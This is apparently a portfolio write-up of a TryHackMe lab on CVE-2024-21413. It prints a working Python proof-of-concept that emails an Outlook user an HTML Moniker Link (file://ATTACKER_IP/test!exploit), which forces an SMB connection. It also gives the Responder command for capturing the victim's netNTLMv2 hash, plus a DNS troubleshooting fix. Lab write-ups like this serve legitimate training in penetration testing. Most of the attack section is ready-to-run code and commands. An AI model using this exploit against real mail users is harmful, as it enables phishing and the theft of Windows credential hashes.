
Proof-of-concept exploit for CVE-2024-21413 using Moniker Link in HTML email to trigger SMB connection and capture netNTLMv2 hashes via Responder. Demonstrates penetration testing, Python scripting, and network protocol analysis skills.
Overview: A practical PoC demonstrating the use of a Moniker Link in an HTML email to trigger an SMB connection from Outlook, allowing capture of a victim's netNTLMv2 hash via Responder. This showcases practical skills in penetration testing, scripting, and network protocol analysis.
file://) pointing to the attacker's SMB share.# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124' # THM SMTP server
password = input('Enter attacker email password: ')
html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'
msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))
with smtplib.SMTP(mailserver, 25) as s:
s.ehlo()
s.login(sender, password)
s.sendmail(sender, [receiver], msg.as_string())
print('Email delivered')
Tip: Replace ATTACKER_IP and mailserver before running. In the TryHackMe lab, the password is attacker.
responder -I ens5
Replace ens5 with your network interface name.
/etc/resolv.confSometimes Responder fails due to broken symlinks in /etc/resolv.conf. Fix with:
rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf
Skills highlighted: Linux troubleshooting, DNS configuration, and adapting tools to cloud/VM environments.
Error / Resolv.conf Issue:`

DNS Fix Applied:

Python Email Script:

Exploit Delivery:

Victim Inbox:

Captured Victim Hash:

Adapted from TryHackMe MonikerLink lab and original PoC by CMNatic (GitHub)